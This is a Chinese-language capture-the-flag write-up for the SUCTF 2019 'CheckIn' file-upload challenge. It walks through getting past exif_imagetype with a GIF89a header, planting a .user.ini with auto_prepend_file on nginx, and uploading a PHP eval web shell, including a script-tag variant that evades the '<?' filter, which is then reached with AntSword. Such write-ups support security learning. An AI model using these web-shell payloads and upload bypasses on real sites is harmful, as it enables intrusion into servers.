1. 程式人生 > 實用技巧 >[SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

0x00

開啟web如下,可以看到這是一道上傳的題

新建一個檔案命名為3.php,進行上傳,得到如下結果

發現被過濾了,進行模糊測試,發現php相關拓展名的都已被過濾掉,但是上傳其他型別檔案時顯示不為jpg型別檔案(如下),可以知道使用的是exif_imagetype函式{通過檔案幻數(檔案頭)來判斷檔案型別}進行判斷

通過谷歌的外掛,發現該站點使用的是nginx

所以使用.htaccess繞過行不通,因為它是Apache的配置檔案
這裡我們採用.user.ini來繞過--》.user.ini
繞過exif_imagetype函式的檢查,我們可以通過新增jpg檔案的檔案頭(GIF89a)
建立檔案.user.ini內容如下
GIF89a
auto_prepend_file=01.jpg
## auto_prepend_file將01.jpg檔案的內容新增到當前目錄下的php檔案的開頭
上傳得到結果如下

我們繼續建立01.jpg檔案內容如下
GIF89a
<?php @eval($_POST['pass']);?>

上傳得到結果如下,發現對內容也進行了過濾,過濾了<?

我們可以使用如下來繞過

GIF89a
<script language="php"> @eval($_POST['pass']);</script>

重新上傳,得到結果

我們直接訪問上傳後地址的index.php,可以看到01.jpg中的內容已經被包含

使用蟻劍進行連線,連線成功

獲取flag

0x01 總結

主要考察瞭如下幾點:

  • 1.exif_imagetype函式繞過
exif_imagetype函式通過檢查檔案幻數(檔案頭)來判斷是不是jpg格式檔案
  • 2..user.ini上傳繞過的使用
引數文章:.user.ini